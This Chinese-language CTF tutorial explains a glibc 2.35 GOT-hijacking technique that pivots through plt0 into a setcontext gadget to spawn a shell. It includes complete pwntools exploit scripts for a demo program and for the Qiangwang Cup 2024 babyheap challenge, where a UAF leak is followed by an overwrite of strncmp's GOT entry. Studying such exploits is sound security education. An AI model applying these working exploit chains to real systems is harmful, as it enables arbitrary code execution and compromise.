libc-got攻击手法-1
这是一个很新的攻击手法,来自veritas501师傅,在去年的十二月提出的一种利用方式,
本文就是针对这位师傅的文章,进行一些攻击的总结
原理
这个libc使用的是ubuntu22.04自带的glibc2.35
可以看到,libc的保护措施,got表是可写的,而libc里面,确实会存在got表
而正如保护措施所展示,我们的got表是可写的,那这个libc的got表又是什么东西呢
我们以printf为例
__int64 printf(__int64 a1, ...)
{
gcc_va_list va; // [rsp+0h] [rbp-D8h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-C0h]
va_start(va, a1);
v3 = __readfsqword(0x28u);
return sub_75030(stdout, a1, va, 0LL);
}
这里就不放汇编了,因为太长,那么在调用printf的时候,就会调用sub_75030函数,我们进入这个函数看看
而这个函数相当于一个注册表,特别复杂,别的都不需要管,只需要知道,这个函数最后调用了strchrnul
而调用这个函数,就会调用到它的plt和got
这给了我们创造一个利用机会
大家都知道延迟绑定机制,在elf文件里面都是相同的,libc也是一个相同的延迟绑定机制,这里复习一下glibc的延迟绑定,在 glibc
中,.got.plt
表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(例如 printf
)的地址,以便程序可以动态加载和调用库函数。每次程序调用库函数时,.plt
段会从 .got.plt
中获取目标地址并跳转。
而这个位置又是受到plt0的控制
也就是这里,此处push的值和jmp的地址都是从GOT0中取出来的
可以受我们控制。
这里再介绍一下setcontext函数
.text:0000000000053A00 pop rdx
.text:0000000000053A01 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07 jnb loc_53B2F
.text:0000000000053A0D mov rcx, [rdx+0E0h]
.text:0000000000053A14 fldenv byte ptr [rcx]
.text:0000000000053A16 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D mov rsp, [rdx+0A0h]
.text:0000000000053A24 mov rbx, [rdx+80h]
.text:0000000000053A2B mov rbp, [rdx+78h]
.text:0000000000053A2F mov r12, [rdx+48h]
.text:0000000000053A33 mov r13, [rdx+50h]
.text:0000000000053A37 mov r14, [rdx+58h]
.text:0000000000053A3B mov r15, [rdx+60h]
.text:0000000000053A3F test dword ptr fs:48h, 2
.text:0000000000053A4B jz loc_53B06
.text:0000000000053B06 loc_53B06:
.text:0000000000053B06 mov rcx, [rdx+0A8h]
.text:0000000000053B0D push rcx
.text:0000000000053B0E mov rsi, [rdx+70h]
.text:0000000000053B12 mov rdi, [rdx+68h]
.text:0000000000053B16 mov rcx, [rdx+98h]
.text:0000000000053B1D mov r8, [rdx+28h]
.text:0000000000053B21 mov r9, [rdx+30h]
.text:0000000000053B25 mov rdx, [rdx+88h]
.text:0000000000053B2C xor eax, eax
.text:0000000000053B2E retn
这个函数在不同的版本有些不同,但是所差的不是很多,函数最开始是一个pop,这也就和上面的push对上了
例题
我们再来总结一下利用的思路
#include <stdio.h>
#include <unistd.h>
int main() {
char *addr = 0;
size_t len = 0;
printf("%p\n", printf);
read(0, &addr, 8);
read(0, &len, 8);
read(0, addr, len);
printf("n132");
}
以这道题为例
步骤 1:劫持 strchrnul.plt
的跳转
printf
函数调用时会间接地调用 strchrnul.plt
,它从 strchrnul.got
表中获取 strchrnul
函数的地址。如果我们修改 strchrnul.got
表,使其指向 plt0
的起始地址(即 .plt
的入口地址 0x28000
),那么每次调用 printf
时,程序实际上会跳转到 plt0
而不是 strchrnul
。
步骤 2:修改 GOT0
条目
plt0
的代码如下:
.plt:0000000000028000 push cs:qword_219008
.plt:0000000000028006 bnd jmp cs:qword_219010
在 plt0
中,第一个指令是 push cs:qword_219008
,即将 GOT0
的值压入栈中,而这个栈顶值会被 setcontext
的 pop rdx
所利用。因此,我们可以将 GOT0
修改为某个未使用的内存位置,以便我们可以在该位置布置 setcontext
需要的上下文数据。
随后,plt0
的第二个指令是 jmp cs:qword_219010
。我们可以将 GOT0
的第二个条目修改为 setcontext
gadget 的地址(例如 0x53A00
),这样每次 printf
被调用时,程序将跳转到 setcontext
gadget 并执行。
步骤 3:在未使用的内存空间中构造 setcontext
需要的上下文
在 GOT
表未使用的一块内存空间中,我们可以布置 setcontext
需要的上下文结构,包括 rsp
、rip
、rdi
、rsi
和 rdx
等寄存器的值。例如:
- 将
rsp
设置为某个位置,使得程序跳转后能继续执行。 - 将
rip
设置为我们想要执行的函数(例如execve
),从而获得一个 shell。 - 设置
rdi
、rsi
和rdx
,以便调用execve("/bin/sh", NULL, NULL)
,启动一个 shell。
步骤 4:触发 printf
调用,执行 setcontext
最后,调用 printf
函数来触发 strchrnul.plt
劫持程序流。由于 strchrnul.got
表已经被我们修改,程序将跳转到 plt0
,进而调用 setcontext
gadget,并执行我们布置的上下文,从而实现远程代码执行(RCE)。
我们来看看怎么写exp
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./demo")
elf=ELF("./demo")
libc.address=int(io.recv(14),16)-libc.sym['printf']
print(hex(libc.address))
我们先拿到程序的libc地址
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
# 计算 write_dest 和 context_dest
write_dest = got + 8
got_count = 0x36 # 硬编码数量
context_dest = write_dest + 0x10 + got_count * 8
然后是got和plt地址,以及写入位置,当然这里还需要解释一下这两个地址的具体含义
write_dest = got + 8
:
got
是.got.plt
(Global Offset Table)的起始地址,got + 8
是跳过GOT
表的前 8 个字节,选择一个新的位置作为写入的目标地址write_dest
。- 这个地址通常会用作将
payload
写入的地方。
got_count = 0x36
:
got_count
是一个硬编码的数量,表示.plt
表中函数的数量,或者.got
表中实际被占用的条目数量(在这种情况下是 0x36,即 54 个条目)。- 这个数量会影响我们要构造多少条目的数据。
context_dest = write_dest + 0x10 + got_count * 8
:
context_dest
是setcontext
的伪造上下文结构的存放位置。- 具体计算如下:
write_dest + 0x10
是为了跳过write_dest
后的 16 个字节空间,这样可以避免冲突或覆盖。- got_count 8 是在 write_dest + 0x10 的基础上,再向后偏移 got_count 8字节的空间。
- 每个
plt
表条目占用 8 个字节,所以这里got_count * 8
是为了确保我们构造的伪造数据不与GOT/PLT
表的数据冲突。
- 每个
context_dest
最终是write_dest
之后一段足够大的地址,用于放置setcontext
需要的伪造上下文数据。
然后写我们的payload
ucontext_structure = flat({
0x28: libc.sym['environ'] + 8, # r8
0x30: 0, # r9
0x48: 0, # r12
0x50: 0, # r13
0x58: 0, # r14
0x60: 0, # r15
0x68: next(libc.search(b"/bin/sh")), # rdi ("/bin/sh" 字符串地址)
0x70: 0, # rsi
0x78: 0, # rbp
0x80: 0, # rbx
0x88: 0, # rdx
0x98: 0, # rcx
0xA0: libc.sym['environ'] + 8, # rsp (栈指针)
0xA8: libc.sym['execve'], # rip (ret ptr)
0xE0: context_dest, # fldenv ptr (上下文环境地址)
0x1C0: 0x1F80, # ldmxcsr 控制寄存器的值
}, filler=b'\x00', word_size=64)
这里先布置好setcontext的结构体函数
payload = flat(
context_dest, # 上下文地址
libc.symbols["setcontext"] + 32, # setcontext 的地址偏移
[plt0] * got_count, # 重复 plt0 多次
ucontext_structure # 手动构建的 ucontext 结构
)
然后发送过去
io.send(p64(write_dest))
io.send(p64(len(payload)))
io.send(payload)
这样就拿到了shell
我们来gdb调试看看
然后看我们输入的位置
那这里
就是我们的plt表附近
当我们输入完成之后,再次调用printf的时候
就会产生跳转,最后get shell
强网杯2024-babyheap
其实这个题目和上面说的不太一样,只是因为确实利用到了改got表的攻击,所以这里依然提到了
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_177E(a1, a2, a3);
sub_1681();
sub_1409();
while ( 1 )
{
sub_1616("Menu:\n");
sub_1616("1. Add commodity\n");
sub_1616("2. Delete commodity\n");
sub_1616("3. Edit commodity\n");
sub_1616("4. Show commodity\n");
sub_1616("5. Secret Env\n");
sub_1616("Enter your choice: \n");
__isoc99_scanf("%d", &v3);
sub_1616("---------------------------------------------------------------\n");
switch ( v3 )
{
case 1:
sub_17C5();
break;
case 2:
sub_1922();
break;
case 3:
sub_1B1D();
break;
case 4:
sub_19FD();
break;
case 5:
sub_1DAA();
break;
default:
sub_1C99();
sub_1616("Maybe you've done something bad \n");
sub_1616("But how can you cat flag ? \n");
break;
}
}
}
程序的主要逻辑基本就是这样,简单梳理一下,题目存在申请任意大小的堆块
但是最多申请五个,在delete函数里面存在uaf,show函数不会\x00截断
在deafult里面的1c99里面存在一个任意地址写
__int64 sub_1C99()
{
if ( dword_5068 )
exit(1);
sub_1616("Wow ! You find my secret shop !\n");
sub_1616("But ! It's not so easy to get my secret \n");
sub_1616(" /\\_/\\ \n");
sub_1616(" ( o.o ) \n");
sub_1616(" > ^ < \n");
sub_1616("Input your target addr \n");
read(0, &buf, 8uLL);
sub_1C33();
read(0, buf, 0x10uLL);
return (unsigned int)++dword_5068;
}
但是在1c33这个函数里面
void *sub_1C33()
{
void *result; // rax
if ( stdin <= buf && &stdin[512] > buf )
exit(1);
result = buf;
if ( &stdin[-2206368] > buf )
exit(1);
return result;
}
存在一个检查,这个检查会看你的任意地址是不是在io结构体附近,这样也就堵住了任意地址写io的操作,这题当然可以使用io的打法,但是题目里面还有一个函数
unsigned __int64 sub_1DAA()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( dword_506C )
{
sub_1616("What ! Are you kidding me ? \n");
exit(1);
}
dword_506C = 1;
sub_1616("What do you want from the environment ? \n");
sub_1616("Maybe you will be sad !\n");
__isoc99_scanf("%d", &v1);
if ( v1 == 3 )
{
setenv("USER", "flag?", 1);
}
else
{
if ( v1 > 3 )
goto LABEL_11;
if ( v1 == 1 )
{
sub_1D5D();
}
else
{
if ( v1 != 2 )
LABEL_11:
exit(1);
putenv("USER=flag?");
}
}
return v2 - __readfsqword(0x28u);
}
在选择5里面会存在这些函数,其中的重点是putenv函数
putenv
函数是一个用于设置或修改环境变量的 C 标准库函数。它的功能是将指定的环境变量加入到当前进程的环境中,或修改已有的环境变量。
在 <stdlib.h>
头文件中声明:
int putenv(char *string);
string
是一个指向 "name=value"
格式字符串的指针,name
是环境变量的名称,value
是该变量的值。
putenv
不会复制传入的字符串,而是直接使用该字符串的地址。因此,修改传入的字符串会影响环境变量的内容。
putenv
的实现依赖于修改进程的环境变量表(environ
数组)。具体实现可能会根据系统和 C 库的不同有所变化,但通常的流程如下:
- 解析输入字符串:检查输入的字符串是否为
"name=value"
格式,确保变量名和赋值内容有效。 - 搜索和替换:
- 如果环境变量表中已有同名变量,则将该变量的值替换为新值。
- 如果没有该变量,则创建一个新的
"name=value"
字符串并添加到环境变量表中。
- 扩展环境变量表(如果需要):
- 在某些实现中,如果环境变量表已经满了,
putenv
可能会重新分配内存,扩展environ
数组。 - 例如,
glibc
中的实现会动态调整environ
数组的大小,以适应新的变量。
- 在某些实现中,如果环境变量表已经满了,
注意事项
putenv
会直接使用传入的字符串指针,因此不要在调用putenv
之后修改该字符串。putenv
修改环境变量的效果仅限于当前进程及其子进程,不会影响父进程或其他进程。
当然以上我们只是简单介绍一下
重点其实是getenv函数内部是依靠strncmp函数实现的,那么我们只要把strncmp函数的got改成printf函数,就可以带出flag文件
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process(
["/home/pwn/game/qwb24/babyheap/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/pwn/game/qwb24/babyheap/libc-2.35.so"},
)
libc = ELF("libc-2.35.so")
def dbg():
gdb.attach(io)
def add(size):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(1))
io.recvuntil(b"Enter your commodity size \n")
io.sendline(str(size))
def free(idx):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(2))
io.recvuntil(b"Enter which to delete: \n")
io.sendline(str(idx))
def edit(idx, content):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(3))
io.recvuntil(b"Enter which to edit: \n")
io.sendline(str(idx))
io.recvuntil(b"Input the content\n")
io.sendline(content)
def show(idx):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(4))
io.recvuntil(b"Enter which to show: \n")
io.sendline(str(idx))
def sec(idx):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(5))
io.recvuntil(b"Maybe you will be sad !\n")
io.sendline(str(idx))
def mi(addr, content):
io.recvuntil(b"Enter your choice: \n")
io.sendline(str(6))
io.recvuntil(b"Input your target addr \n")
io.send(addr)
io.send(content)
add(0x518) # 1
add(0x500) # 2
free(1)
add(0x528) # 3
show(1)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21B110
info("libc base: " + hex(libc.address))
io.recv(10)
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x1950
info("heap base: " + hex(heap_base))
strncmp_got = libc.address + 0x21A018 + (0x8 * 32)
mi(p64(strncmp_got), p64(libc.sym["printf"]))
sec(2)
# dbg()
io.interactive()
参考文章
https://veritas501.github.io/2023_12_07-glibc_got_hijack%E5%AD%A6%E4%B9%A0/
文章评论